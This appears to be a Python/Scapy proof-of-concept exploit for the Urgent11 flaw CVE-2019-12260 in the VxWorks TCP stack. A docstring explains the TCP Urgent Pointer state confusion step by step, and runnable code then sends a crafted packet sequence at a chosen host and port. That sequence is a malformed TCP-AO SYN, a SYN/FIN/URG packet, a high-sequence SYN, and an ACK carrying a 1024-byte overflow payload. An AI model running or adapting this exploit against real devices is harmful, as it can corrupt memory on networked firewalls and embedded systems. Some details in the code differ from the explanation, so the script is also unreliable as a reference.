|
'''
|
|
## TCP Urgent Pointer state confusion caused by malformed TCP AO option (CVE-2019-12260
|
|
In VxWorks versions above 6.9.3 a TCP Urgent Pointer state confusion can be caused by a malformed
|
|
TCP AO (Authentication Option) Option.
|
|
|
|
.DESCRIPTION:
|
|
The vulnerability does not depend on the TCP AO to be enabled or used, it is always pared by the TCP module.
|
|
|
|
1. Attacker sends a malformed TCP_OPTION_AO in the first SYN packet, this can be done with a byte value of <= 3
|
|
- The socket drops the connection but stays in a passive listen state
|
|
2. Attacker sends a second SYN packet, due to the previous step the socket is still open and this packet gets parsed by that socket.
|
|
Because of this state, some checks are not carried out:
|
|
|
|
if ((p->seg.flags_n & TCP_SYN_FLAG) == 0) || (p->seg.flags_n & (TCP_FIN_FLAG | TCP_URG_FLAG | TCP_PSH_FLAG) != 0) {
|
|
doStuff...
|
|
return 0;
|
|
}
|
|
|
|
The above code basically checks if the SYN packet does not contain any of the following flags:
|
|
- FIN
|
|
- URG
|
|
- PSH
|
|
Since the check is not carried out, an attacker could send a SYN packet with any combination of the above flags. In the example of
|
|
Armis on the Urgent11 exploits a crafted SYN packet with the URG and FIN flags was sent. This packet will be handled like a valid packet
|
|
and will consist of the sequence number set by the attacker (from now called sequence_a). The following code will be executed by VxWorks:
|
|
|
|
if (pkt->flags & 0x2000) { // Check if the URG flag is set in the packet
|
|
tcb->urg_ptr = p->seq.seq_start + htons(pkt->urg_ptr);
|
|
tcb->flags |= 0x80000; //TCB_STATE_URG_RECEIVED
|
|
}
|
|
|
|
The above code will effectively set the tcb->recv.urg_ptr to the value of sequence_a + 1 if the URG pointer in the TCP header is set to 1.
|
|
The next check is looking for a FIN packet but since the state of the socket is still not valid for a FIN to be received the check fails and an
|
|
error is returned to iptcp_input. The state of the socket stays unchanged and remains in a listen state. iptcp_input drops the packet due to the
|
|
error but leaves the socket in its current state. Furthermore the TCB_STATE_URG_RECEIVED is left set on the socket and the recv.urg_ptr keeps the
|
|
value of sequence_a + 1.
|
|
3. The attacker now sends a valid SYN packet to the socket with an initial sequence number (from now called sequence_b).
|
|
Assuming that sequence_b = sequence_a + 1000000. This packet is valid and will be handled by the code as intended. The target will send a valid
|
|
SYN/ACK back to the attacker.
|
|
4. The attacker responds with an ACK packet to finalize the handshake. The attacker can include up to 64K bytes of data with this ACK segment, this data
|
|
will be added to the TCP receive window of the socket. The socket that was set to the listening state will now change to the ESTABLISHED_STATE, and
|
|
a user waiting on an accept() call will be handed the client socket. Then the user will likely call recv() on the socket. At this point, the
|
|
iptcp_usr_get_from_recv_queue will be executed:
|
|
|
|
if (tcb->flags & 0x80000))) { // TCB_STATE_URG_RECEIVED
|
|
...
|
|
if (iptcp_at_mark(sock)) {
|
|
...
|
|
} else if ((int32)(tcb->recv.urg_ptr - len + tcb->recv.seq_next - sock->ipcom.rcv_bytes) <= 0) {
|
|
// Calculate the urgent data offset inside the window, in order to
|
|
// copy data up to, but not including the urgent data
|
|
len = tcb->recv.urg_ptr - 1 - tcb->recv.seq_next + sock->ipcom.rcv_bytes;
|
|
}
|
|
|
|
The TCB_STATE_URG_RECEIVED is still set at this point, and the recv.urg_ptr retains its value too. This causes the else-if block to be checked, and can now
|
|
be substituted with its matching values:
|
|
|
|
(int32)(tcb->recv.urg_ptr - len + tcb->recv.seq_next - sock->ipcom.rcv_bytes) <= 0
|
|
⇔ (int32)(sequence_a + 1 - len - sequence_b) <= 0
|
|
⇔ (int32)(sequence_a + 1 - len - sequence_a + 1000000) <= 0
|
|
⇔ (int32)(-len - 999999) <= 0
|
|
|
|
The check is passed, and len will be set by the urgent data offset calculation as such:
|
|
|
|
tcb->recv.urg_ptr - 1 - tcb->recv.seq_next + sock->ipcom.rcv_bytes
|
|
⇔ sequence_a + 1 - 1 - (sequence_a + 1000000)
|
|
⇔ -1000000
|
|
|
|
len will now be equal to -1000000, and since len is a 32-bit integer, it will now equal a very large number, voiding any user defined restrictions. This condition
|
|
will result in overflows in any code that performs recv() on this TCP socket.
|
|
|
|
## The 5-way handshake
|
|
1. Malformed SYN packet with TCP-AO option and a length of <= 3 bytes
|
|
2. SYN packet with seq:0 and the URG and FIN flags set. Set the URG pointer to any value that is non-zero like 10
|
|
3. Send a valid SYN packet with a high sequence number (something like 1000000)
|
|
4. Target responds with a SYN/ACK
|
|
5. Attacker response with ACK
|
|
- This final ACK can carry a payload -> Armis shows a 1024 bytes payload which results in any recv() call on the socket to write these bytes into the user buffer.
|
|
- If the TCP server performs a recv() of a shorter length, a memory corruption will occur.
|
|
- The attacker controls the overflow data, as it's the data that was sent in the ACK packet
|
|
|
|
Demo video showing an attack on a Sonicwall TZ-300: https://www.youtube.com/watch?v=GPYVLbq83xQ
|
|
|
|
.NOTES:
|
|
PKT#1
|
|
RFC 5925 describes the TCP-AO: https://tools.ietf.org/html/rfc5925#page-7
|
|
It looks like 29h is the value asociated with TCP-AO, following its length
|
|
|
|
send(IP(dst="127.0.0.1")/TCP(dport=80,flags="S",options=[(29, '\x02')]))
|
|
|
|
The above packet is a forged SYN packet with the TCP-AO set and a payload of 1 byte, this should not pass the check of VxWorks.
|
|
The send() option is used because no answer is expected to be returned by the device.
|
|
PKT#2
|
|
Second packet is a SYN packet with the FIN and URG flags set, the urgent pointer is set to a non-zero value
|
|
|
|
send(IP(dst=host)/TCP(sport=31337, dport=port, flags="SFU", seq=0, urgptr=10))
|
|
|
|
Again send() is used because no answer is expected to be returned by the device.
|
|
PKT#3
|
|
A valid SYN packet is sent to the same socket that should now be in a passive listening state, using a high sequence number to
|
|
trigger the heap overflow in a later stage.
|
|
|
|
sr1(IP(dst=host)/TCP(sport=31337, dport=port, flags="S", seq=sequence))
|
|
|
|
The sr1() is used because a SYN/ACK answer is expected back from the device, this is the start of the "official" 3-way handshake.
|
|
PKT#4
|
|
After receiving the SYN/ACK from the target, the attacker sends an ACK with the initial payload to the device, because of the
|
|
check that was skipped before it will now used the value in the URG pointer to write the ACK payload on the heap, leading to a
|
|
heap overflow with attacker controlled values.
|
|
|
|
sr1(IP(dst=host)/TCP(sport=31337, dport=port, flags="A", seq=TCP_SYN.seq, ack=TCP_SYN.seq+1))
|
|
|
|
The sr1() is used because an ACK packet from the target side is expected to initialize the TCP connection.
|
|
'''
|
|
|
|
import argparse
|
|
from scapy.all import *
|
|
from scapy import route
|
|
|
|
def craft_packets(host, port):
|
|
|
|
# Craft the malformed SYN packet with the TCP-AO option of <= 3 bytes
|
|
TCP_MAL_SYN = IP(dst=host)/TCP(sport=31337, dport=port, flags="S", seq=0, options=[(29,'\x61')])
|
|
print("[+] PKT#1: Sending malformed SYN...")
|
|
send(TCP_MAL_SYN)
|
|
|
|
# Craft the SYN packet with sequence 0 and flags FIN/URG. Set URG ptr to non-zero
|
|
TCP_SYNURG = IP(dst=host)/TCP(sport=31337, dport=port, flags="FSU", seq=0, urgptr=10)
|
|
print("[+] PKT#2: Sending malformed SYN/FIN/URG...")
|
|
send(TCP_SYNURG)
|
|
|
|
# Craft the valid SYN packet with a high sequence number
|
|
sequence = 1000000
|
|
TCP_SYN = IP(dst=host)/TCP(sport=31337, dport=port, flags="S", seq=sequence)
|
|
print("[+] PKT#3: Sending valid SYN with seq:{0}".format(sequence))
|
|
send(TCP_SYN)
|
|
|
|
# Craft the valid ACK packet to respond to the device
|
|
payload = "\xFF" * 1024
|
|
TCP_ACK = IP(dst=host)/TCP(sport=31337, dport=port, flags="A", seq=TCP_SYN.seq, ack=TCP_SYN.seq+1)/payload
|
|
sr1(TCP_ACK)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser(description="PoC for Urgent11 CVE-2019-12260")
|
|
parser.add_argument("--host", dest="host", help="Target machine IP-address")
|
|
parser.add_argument("--port", dest="port", help="Target port")
|
|
|
|
args = parser.parse_args()
|
|
|
|
# Craft the packets
|
|
craft_packets(args.host, int(args.port))
|